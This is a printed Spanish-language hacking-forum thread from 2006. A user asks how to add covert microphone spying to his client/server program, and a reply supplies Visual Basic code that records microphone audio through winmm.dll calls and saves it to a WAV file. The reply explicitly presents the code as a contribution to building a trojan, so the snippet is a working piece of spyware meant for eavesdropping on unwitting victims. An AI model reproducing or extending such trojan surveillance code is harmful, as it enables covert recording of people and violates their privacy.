Imprimir Página - Enviar El sonido del micrófono a través de un Cliente/Servidor???

Este es mi primer post en esta comunidad y me gustaría dar un saludo a todos los usuarios.

Vamos con el tema en concreto, estoy haciendo un Cliente/Servidor y me gustaría ponerle la Función de Espiar el sonido del micrófono, pero no tengo ni idea, Alguien me podría echar una mano por favor?

;D Salu2, WarGhost

Este code lo aporto kizar a la creacion del troyano en vb.

Código:

'Declaraciones
Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long
Dim Result&
Dim ReturnString As String * 1024

'En un procedimiento

'Abrimos
Result& = mciSendString("open new type waveaudio alias mysound", ReturnString, 1024, 0)
'Ponemos el formato del sonido
Result& = mciSendString("set mysound time format ms bitspersample 8 samplespersec 11025", ReturnString, 1024, 0)
'Grabamos sonido del microfono (tiempo en milisegundos)
Result& = mciSendString("record mysound to 10000", ReturnString, 1024, 0)

'Teneis k poner un code k haga que el programa espere a k pasen los milisegundos indicados antes

'Guardamos el sonido en un archivo .wav
Result& = mciSendString("save mysound C:\las.wav", ReturnString, Len(ReturnString), 0)
'Cerramos
Result& = mciSendString("close mysound", ReturnString, 1024, 0)

Un saludo

Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: WarGhost en 25 Febrero 2006, 20:10 pm